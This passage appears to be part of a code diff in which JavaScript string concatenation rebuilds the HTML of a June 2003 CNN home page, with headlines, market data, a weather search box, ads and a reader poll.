+ s += '<!-- /right-side line --> ';
+ s += ' </tr>';
+ s += ' </table>';
+ s += '';
+ s += '<!-- bottom line -->';
+ s += '<div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_ccc.gif" alt="" width="344" height="1"></div>';
+ s += '<!-- /bottom line -->';
+ s += '<!-- =========== /CNN Radio/Video Box =========== -->';
+ s += '';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += '<div><img src="http://i.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="344" height="2"></div>';
+ s += '<table width="344" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="260" class="cnnTabbedBoxHeader" style="padding-left:0px;"><span class="cnnBigPrint"><b>ON THE SCENE</b></span></td>';
+ s += ' <td width="84" class="cnnTabbedBoxTab" align="right" bgcolor="#336699" style="padding: 0px 3px;"><a href="/LAW/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/superlinks/law.gif" alt="more reports" height="11" border="0" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '<table width="344" border="0" cellpadding="5" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td style="padding-left:0px;"> <b>Jeffrey Toobin:</b> "It takes guts" for Peterson defense to subpoena judge over wiretap issue.';
+ s += '<a href="/2003/LAW/06/12/otsc.toobin/index.html">Full Story</a></td>';
+ s += '';
+ s += '<td width="65" align="right" style="padding-left:6px;"><a href="/2003/LAW/06/12/otsc.toobin/index.html"><img src="http://i.cnn.net/cnn/2003/LAW/06/12/otsc.toobin/tz.toobin.jpg" alt="image" width="65" height="49" border="0" hspace="0" vspace="0"></a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' <tr valign="bottom">';
+ s += ' <td>';
+ s += '<table width="344" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="267" nowrap style="color: #c00; padding-left: 6px"><span class="cnnBigPrint" style="vertical-align: top"><b>BUSINESS</b></span>';
+ s += ' <a href="/money/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/at_cnnmoney.gif" alt=" at CNN/Money " width="100" height="15" border="0"></a></td>';
+ s += ' <td width="77" align="right"><a href="/money/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/business.news.blue.gif" alt=" Business News " width="77" height="11" border="0"></a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '<table width="344" bgcolor="#EEEEEE" border="0" cellpadding="0" cellspacing="0" style="border: solid 1px #ddd">';
+ s += ' <tr valign="top">';
+ s += ' <td>';
+ s += ' <table width="100%" border="0" cellpadding="0" cellspacing="4">';
+ s += ' <tr>';
+ s += ' <td colspan="3"><span class="cnnMenuText"><b>STOCK/FUND QUOTES: </b></span></td>';
+ s += ' </tr><form action="http://qs.money.cnn.com/tq/stockquote" method="get" style="margin: 0px;">';
+ s += ' <tr>';
+ s += ' <td><span class="cnnFinePrint">enter symbol</span></td>';
+ s += ' <td><input type="text" name="symbols" size="7" maxlength="40" class="cnnMenuText" title="Enter stock/fund symbol or name to get a quote"></td>';
+ s += ' <td><input type="submit" value="GET" class="cnnNavButton"></td>';
+ s += ' </tr></form>';
+ s += ' </table>';
+ s += ' <table width="100%" border="0" cellpadding="0" cellspacing="4">';
+ s += ' <tr valign="top">';
+ s += ' <td><span class="cnnFinePrint">sponsored by:</span></td>';
+ s += ' <td align="right"><!--<a href="/money/news/specials/rebuild_iraq/"><img src="http://i.a.cnn.net/cnn/2003/images/04/17/money.box.gif" ALT="" width="150" height="31" HSPACE="0" VSPACE="0" border="0" align="left"></a>--><a href="http://ar.atwola.com/link/93103306/aol"><img src="http://ar.atwola.com/image/93103306/aol" alt="Click Here" width="88" height="31" border="0" hspace="0" vspace="0"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' </td>';
+ s += ' <td class="cnnMainMarketBox"> <table width="100%" border="0" cellpadding="4" cellspacing="0" summary="Market data from CNNmoney">';
+ s += ' <tr class="noBottomBorder">';
+ s += ' <td colspan="5"><span class="cnnMainMarketCell"><span class="cnnMenuText"><b><a href="/money/markets/">MARKETS:</a></b></span> <!-- 16:30:15 -->';
+ s += '';
+ s += '4:30pm ET, 6/12</span></td>';
+ s += ' </tr>';
+ s += ' <tr class="noTopBorder">';
+ s += ' <td><span class="cnnMainMarketCell"><a href="/money/markets/dow.html" title="Dow Jones Industrial Average">DJIA</a></span></td>';
+ s += ' <td><img src="http://i.cnn.net/cnn/.element/img/1.0/main/arrow_up.gif" alt="" width="9" height="9"></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+13.30</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">9196.50</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+ 0.14%</span></td>';
+ s += '';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td><span class="cnnMainMarketCell"><a href="/money/markets/nasdaq.html" title="NASDAQ">NAS</a></span></td>';
+ s += ' <td><img src="http://i.cnn.net/cnn/.element/img/1.0/main/arrow_up.gif" alt="" width="9" height="9"></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+ 7.60</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">1653.62</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+ 0.46%</span></td>';
+ s += '';
+ s += ' </tr>';
+ s += ' <tr class="noBottomBorder">';
+ s += ' <td><span class="cnnMainMarketCell"><a href="/money/markets/sandp.html" title="S&amp;P 500">S&amp;P</a></span></td>';
+ s += ' <td><img src="http://i.cnn.net/cnn/.element/img/1.0/main/arrow_up.gif" alt="" width="9" height="9"></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+ 1.03</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">998.51</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+ 0.10%</span></td>';
+ s += '';
+ s += ' </tr>';
+ s += ' </table>';
+ s += '</td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '</td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td colspan="3"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="4"></td>';
+ s += ' </tr>';
+ s += ' <tr align="center" valign="bottom">';
+ s += ' <td width="280" bgcolor="#EEEEEE"><a href="/linkto/ftn.nytimes1.html"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/ftn.280x32.ny.times.gif" width="255" height="32" alt="" border="0"></a></td>';
+ s += '<td width="10"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="10" height="1"></td>';
+ s += ' <td width="344" bgcolor="#EEEEEE"><a href="/linkto/ftn.bn3.html"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/ftn.345x32.breaking.news.gif" width="340" height="32" alt="" border="0"></a></td>';
+ s += ' </tr>';
+ s += '';
+ s += '</table>';
+ s += '';
+ s += '';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += '';
+ s += '';
+ s += '<table width="770" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <col width="10">';
+ s += ' <col width="483" align="left" valign="top">';
+ s += ' <col width="10">';
+ s += ' <col width="267" align="left" valign="top">';
+ s += ' <tr valign="top">';
+ s += ' <td rowspan="2"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="10" height="1"></td>';
+ s += ' <td valign="top">';
+ s += ' <table border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td width="238">';
+ s += ' <div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="238" height="2"></div>';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' <table width="238" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="132" class="cnnTabbedBoxHeader" style="padding-left:0px;"><span class="cnnBigPrint"><b>MORE REAL TV</b></span></td>';
+ s += ' <td width="106" class="cnnTabbedBoxTab" align="right" bgcolor="#336699" style="padding: 0px 3px;"><a href="/SHOWBIZ"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/entertainment.news.gif" alt="More Entertainment" border="0" width="102" height="11" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="238" height="5" vspace="0" hspace="0"></div>';
+ s += ' <table width="238" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td><div class="cnn6pxTpad">';
+ s += ' ';
+ s += ' <a href="/2003/SHOWBIZ/06/11/eye.ent.voyeurs/index.html">Go ahead, follow me</a><br>';
+ s += 'New reality series and the movie debut of "Idol" finalists';
+ s += ' </div></td>';
+ s += ' <td width="71" align="right"><a href="/2003/SHOWBIZ/06/11/eye.ent.voyeurs/index.html"><img src="http://i.a.cnn.net/cnn/2003/SHOWBIZ/06/11/eye.ent.voyeurs/tz.movies.gif" alt="Go ahead, follow me" width="65" height="49" border="0" vspace="6"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' ';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="238" height="5" vspace="0" hspace="0"></div>';
+ s += '<!--include virtual="/.element/ssi/video/section_teases/topvideos_include.txt"-->';
+ s += ' </td>';
+ s += ' <td><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="7" height="1"></td>';
+ s += ' <td width="238">';
+ s += ' <div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="238" height="2"></div>';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' <table width="238" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="157" class="cnnTabbedBoxHeader" style="padding-left:0px;"><span class="cnnBigPrint"><b>GIFT IDEAS</b></span></td>';
+ s += ' <td width="81" class="cnnTabbedBoxTab" align="right" bgcolor="#336699" style="padding: 0px 3px;"><a href="/money"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/superlinks/business.gif" alt="Business News" border="0" width="77" height="11" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="238" height="5" vspace="0" hspace="0"></div>';
+ s += ' <table width="238" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td><div class="cnn6pxTpad">';
+ s += '';
+ s += '';
+ s += '<span class="cnnBodyText" style="font-weight:bold;">CNN/Money: </span> <a href="/money/2003/06/12/news/companies/fathers_day/index.htm?cnn=yes">Fathers Day</a><br>';
+ s += 'Smaller is better --from digital cameras to iPod';
+ s += ' </div></td>';
+ s += ' <td width="71" align="right"><a href="/money/2003/06/12/news/companies/fathers_day/index.htm?cnn=yes"><img src="http://i.a.cnn.net/cnn/images/programming.boxes/tz.money.dads.day.watch.jpg" alt="Fathers Day" width="65" height="49" border="0" vspace="6"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="238" height="10" vspace="0" hspace="0"></div> ';
+ s += '<table width="483" border="0" cellspacing="0" cellpadding="0">';
+ s += ' <tr valign="top">';
+ s += ' <td rowspan="9"><br></td>';
+ s += ' <td width="238"><a href="/US/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/us.gif" alt="U.S. News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/US/South/06/11/miami.rapist/index.html">Miami police link 4 rapes to serial rapist</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/LAW/06/12/mistaken.identity.ap/index.html">Woman mistaken for fugitive jailed</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/US/Northeast/06/12/woman.impaled.ap/index.html">Pregnant woman impaled on mic stand</a><br>';
+ s += ' </div></td>';
+ s += ' <td rowspan="7" width="7"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="7" height="1"></td>';
+ s += ' <td width="238"><a href="/WORLD/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/world.gif" alt="World News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/WORLD/europe/06/12/nato.bases/index.html">NATO reshapes for new era</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/WORLD/africa/06/12/congo.democratic/index.html">U.N. reviews Bunia peace force</a><br>';
+ s += '';
+ s += '';
+ s += '';
+ s += '&#8226;&nbsp;<span class="cnnBodyText" style="font-weight:bold;color:#900;">TIME.com: </span><a href="/time/magazine/article/0,9171,1101030616-457361,00.html?CNN=yes" target="new">Saddams curtain trail</a><img src="http://i.cnn.net/cnn/.element/img/1.0/misc/icon.external.links.gif" alt="external link" width="20" height="13" vspace="1" hspace="4" border="0" align="top"><br>';
+ s += ' </div></td>';
+ s += ' </tr><tr valign="top">';
+ s += ' <td width="238"><a href="/TECH/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/technology.gif" alt="Sci-Tech News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TECH/ptech/06/11/bus2.ptech.dvd.maker/index.html">Another reason to throw out your VCR</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TECH/ptech/06/12/korea.samsung.reut/index.html">Flat screen TV prices dropping</a><br>';
+ s += ' </div></td>';
+ s += ' <td width="238"><a href="/SHOWBIZ/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/entertainment.gif" alt="Entertainment News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/SHOWBIZ/TV/06/12/cnn.obrien/index.html">CNN hires Soledad OBrien for "AM"</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/SHOWBIZ/TV/06/11/batchelor.troubles.ap/index.html">Dating show star let go by law firm</a><br>';
+ s += ' </div></td>';
+ s += ' </tr><tr valign="top">';
+ s += ' <td width="238"><a href="/ALLPOLITICS/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/politics.gif" alt="Politics News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/ALLPOLITICS/06/11/schwarzenegger.ap/index.html">Schwarzenegger on California politics</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/ALLPOLITICS/06/12/tax.credit.ap/index.html">House approves extension on child tax credit</a><br>';
+ s += ' </div></td>';
+ s += ' <td width="238"><a href="/LAW/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/law.gif" alt="Law News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/LAW/06/12/plaintiff.advances.ap/index.html">Court bars cash advances to plaintiffs</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/LAW/06/11/jackson.lawsuit.ap/index.html">Lawsuit against Jackson settled</a><br>';
+ s += ' </div></td>';
+ s += ' </tr><tr valign="top">';
+ s += ' <td width="238"><a href="/HEALTH/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/health.gif" alt="Health News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/HEALTH/06/12/monkeypox.ap/index.html">Monkeypox spreading person-to-person?</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/HEALTH/06/12/quick.xray.ap/index.html">A full body X-ray in 13 seconds</a><br>';
+ s += ' </div></td>';
+ s += ' <td width="238"><a href="/TECH/space/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/space.gif" alt="Space News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TECH/science/06/12/hydrogen.ozone.ap/index.html">Hydrogen fuel may disturb ozone layer</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TECH/space/06/12/sprj.colu.bolts.ap/index.html">New threat found for shuttle launches</a><br>';
+ s += ' </div></td>';
+ s += ' </tr><tr valign="top">';
+ s += ' <td width="238"><a href="/TRAVEL/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/travel.gif" alt="Travel News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TRAVEL/DESTINATIONS/06/12/walk.across.america.ap/index.html">Walking America from coast to coast</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TRAVEL/06/11/bi.airlines.executives.reut/index.html">Airline execs not seeing sunny skies yet</a><br>';
+ s += ' </div></td>';
+ s += ' <td width="238"><a href="/EDUCATION/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/education.gif" alt="Education News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/EDUCATION/06/12/arabs.prom.ap/index.html">Arab students seek prom balance</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/EDUCATION/06/11/school.fundraising.ap/index.html">Public schools turn to upscale fundraising</a><br>';
+ s += ' </div></td>';
+ s += ' </tr><tr valign="top">';
+ s += ' <td width="238"><a href="/si/index.html?cnn=yes"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/sports.gif" alt="Sports News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += '&#8226;&nbsp;<a href="/cnnsi/golfonline/2003/us_open/news/2003/06/12/open_thursday_ap">Woods eyes third U.S. Open title</a><br>';
+ s += '&#8226;&nbsp;<a href="/cnnsi/basketball/news/2003/06/12/jordan_ruling_ap">Judge denies Jordan&#039;s former lover $5M payoff</a><br>';
+ s += ' </div></td>';
+ s += ' <td width="238"><a href="/money/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/business.gif" alt="Business News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '&#8226;&nbsp;<a href="/money/2003/06/12/pf/saving/duppies/index.htm">Here come the "Duppies"</a><br>';
+ s += '&#8226;&nbsp;<a href="/money/2003/06/12/technology/oracle/index.htm">Oracle beats estimates</a><br>';
+ s += ' </div></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += ' </td>';
+ s += ' <td><img src="http://i.cnn.net/cnn/images/1.gif" width="10" hspace="0" vspace="0" alt=""></td>';
+ s += ' <td valign="top">';
+ s += ' <div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="267" height="2"></div>';
+ s += ' ';
+ s += '<table width="267" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="173" bgcolor="#003366"><div class="cnnBlueBoxHeader"><span class="cnnBigPrint"><b>WATCH CNN TV</b></span></div></td>';
+ s += ' <td width="25" class="cnnBlueBoxHeader" align="right"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/diagonal.gif" width="25" height="19" alt=""></td>';
+ s += ' <td width="69" class="cnnBlueBoxTab" align="right" bgcolor="#336699"><a href="/CNN/Programs/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/tv.schedule.gif" alt="On CNN TV" border="0" width="65" height="11" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '<table width="267" bgcolor="#EEEEEE" border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td><a href="/CNN/Programs/american.morning/"><img src="http://i.cnn.net/cnn/CNN/Programs/includes/showbox/images/2003/05/tz.hemmer.jpg" alt="American Morning, 7 a.m. ET" width="65" height="49" border="0" align="right"></a><a href="/CNN/Programs/american.morning/"><b>American Morning (7 a.m. ET):</b></a> Tomorrow, singer Carnie Wilson talks about her new book, "Im Still Hungry."';
+ s += ' </td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '<!--';
+ s += '[[table width="267" border="0" cellpadding="0" cellspacing="0"]]';
+ s += '[[tr]][[td width="173" bgcolor="#003366"]][[div class="cnnBlueBoxHeader"]][[span class="cnnBigPrint"]][[b]]WATCH CNN TV[[/b]][[/span]][[/div]][[/td]][[td width="25" class="cnnBlueBoxHeader" align="right"]][[img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/diagonal.gif" width="25" height="19" alt=""]][[/td]][[td width="69" class="cnnBlueBoxTab" align="right" bgcolor="#336699"]][[a href="/CNN/Programs/"]][[img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/tv.schedule.gif" alt="On CNN TV" border="0" width="65" height="11" hspace="2" vspace="2" align="right"]][[/a]][[/td]][[/tr]][[/table]][[table width="267" bgcolor="#EEEEEE" border="0" cellpadding="4" cellspacing="0"]][[tr valign="top"]][[td]]';
+ s += '[[img src="http://i.cnn.net/cnn/2003/images/05/31/tz.bw.jpg" alt="" width="65" height="49" border="0" align="right"]]';
+ s += ' ';
+ s += '[[b]] CNN Presents: The Hunt for Eric Robert Rudolph (8 p.m. ET)[[/b]][[br]]Latest on his capture.';
+ s += ' [[/td]]';
+ s += ' [[/tr]]';
+ s += ' [[/table]]';
+ s += '-->';
+ s += '';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div> ';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' <div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="267" height="2"></div>';
+ s += ' <table width="267" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="184" bgcolor="#003366"><div class="cnnBlueBoxHeader"><span class="cnnBigPrint"><b>ANALYSIS</b></span></div></td>';
+ s += ' <td width="25" class="cnnBlueBoxHeader" align="right"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/diagonal.gif" width="25" height="19" alt=""></td>';
+ s += ' <td width="58" class="cnnBlueBoxTab" align="right" bgcolor="#336699"><a href="/US"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/superlinks/us.gif" alt="U.S. News" border="0" width="54" height="11" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <table width="267" bgcolor="#EEEEEE" border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td>';
+ s += '<a href="/2003/US/06/12/nyt.safire/index.html"><img src="http://i.a.cnn.net/cnn/2003/US/06/12/nyt.safire/tz.stewart.jpg" alt="Fight It, Martha" width="65" height="49" border="0" align="right"></a>';
+ s += '';
+ s += '';
+ s += '<span class="cnnBodyText" style="font-weight:bold;color:#000;">NYTimes: </span> <a href="/2003/US/06/12/nyt.safire/index.html">Fight It, Martha</a><br>';
+ s += 'William Safire: I hope Martha Stewart beats this bum rap';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += ' <div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="267" height="2"></div>';
+ s += ' <table width="267" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="164" bgcolor="#003366"><div class="cnnBlueBoxHeader"><span class="cnnBigPrint"><b>OFFBEAT</b></span></div></td>';
+ s += ' <td width="25" class="cnnBlueBoxHeader" align="right"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/diagonal.gif" width="25" height="19" alt=""></td>';
+ s += ' <td width="78" class="cnnBlueBoxTab" align="right" bgcolor="#336699"><a href="/offbeat"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/superlinks/offbeat.gif" alt="more offbeat" width="74" height="11" border="0" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <table width="267" bgcolor="#DDDDDD" border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td>';
+ s += '<a href="/2003/HEALTH/06/12/offbeat.china.sperm.ap/index.html"><img src="http://i.a.cnn.net/cnn/2003/HEALTH/06/12/offbeat.china.sperm.ap/tz.china.sperm.jpg" alt="Waiting list" width="65" height="49" border="0" align="right"></a>';
+ s += ' ';
+ s += ' <a href="/2003/HEALTH/06/12/offbeat.china.sperm.ap/index.html">Waiting list</a><br>';
+ s += 'Chinas "smart sperm" bank needs donors';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += '';
+ s += ' <table width="267" bgcolor="#999999" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td>';
+ s += ' <table width="100%" border="0" cellpadding="4" cellspacing="1">';
+ s += ' <tr>';
+ s += ' <td bgcolor="#EEEEEE" class="cnnMainWeatherBox"><a name="weatherBox"></a>';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '<table width="257" border="0" cellpadding="1" cellspacing="0">';
+ s += '<form method="get" action="http://weather.cnn.com/weather/search" style="margin: 0px">';
+ s += '<input type="hidden" name="mode" value="hplwp">';
+ s += ' <tr>';
+ s += ' <td bgcolor="#FFFFFF"><table width="255" bgcolor="#EAEFF4" border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td colspan="2" class="cnnWEATHERrow">&nbsp;<span class="cnnBigPrint">WEATHER</span></td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td colspan="2" class="cnnBodyText">Get your hometown weather on the home page! <b>Enter city name or U.S. Zip Code:</b></td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td><input class="cnnFormText" type="text" size="12" name="wsearch" value="" style="width:100px;"></td>';
+ s += ' <td><input class="cnnNavButton" type="submit" value="PERSONALIZE"></td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td class="cnnBodyText" colspan="2">Or <a href="javascript:CNN_openPopup("http://weather.cnn.com/weather/select.popup/content2.jsp?mode=hplwp", "weather", "toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=260,height=250")"><b>select location from a list</b></a></td>';
+ s += ' </tr>';
+ s += ' </table></td>';
+ s += ' </tr>';
+ s += '</form>';
+ s += '</table>';
+ s += '';
+ s += '';
+ s += '';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td bgcolor="#EEEEEE">';
+ s += ' <table width="100%" border="0" cellpadding="0" cellspacing="2">';
+ s += ' <tr>';
+ s += ' <td><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/quickvote.gif" alt="Quick Vote" width="107" height="24" border="0"></td>';
+ s += ' <td width="88" align="right"><!-- ad home/quickvote/sponsor.88x31 -->';
+ s += '<!-- ad commented while aol investigates 3/31/03 5:40 a.m. lk -->';
+ s += '<a href="http://ar.atwola.com/link/93101912/aol"><img src="http://ar.atwola.com/image/93101912/aol" alt="Click Here" width="88" height="31" border="0" hspace="0" vspace="0"></a>';
+ s += '</td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += '<table width="100%" cellspacing="0" cellpadding="1" border="0"><form target="popuppoll" method="post" action="http://polls.cnn.com/poll">';
+ s += '<INPUT TYPE=HIDDEN NAME="poll_id" VALUE="3966">';
+ s += '<tr><td colspan="2" align="left"><span class="cnnBodyText">Should an international peacekeeping force be sent to the Mideast?<br></span></td></tr>';
+ s += '<tr valign="top">';
+ s += '<td><span class="cnnBodyText">Yes</span>';
+ s += '</td><td align="right"><input value="1" type="radio" name="question_1"></td></tr>';
+ s += '<tr valign="top">';
+ s += '<td><span class="cnnBodyText">No</span>';
+ s += '</td><td align="right"><input value="2" type="radio" name="question_1"></td></tr>';
+ s += '<!-- /end Question 1 -->';
+ s += '<tr>';
+ s += '<td colspan="2">';
+ s += '<table width="100%" cellspacing="0" cellpadding="0" border="0"><tr><td><span class="cnnInterfaceLink"><nobr><a href="javascript:CNN_openPopup("/POLLSERVER/results/3966.html","popuppoll","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=510,height=400")">VIEW RESULTS</a></nobr></span></td>';
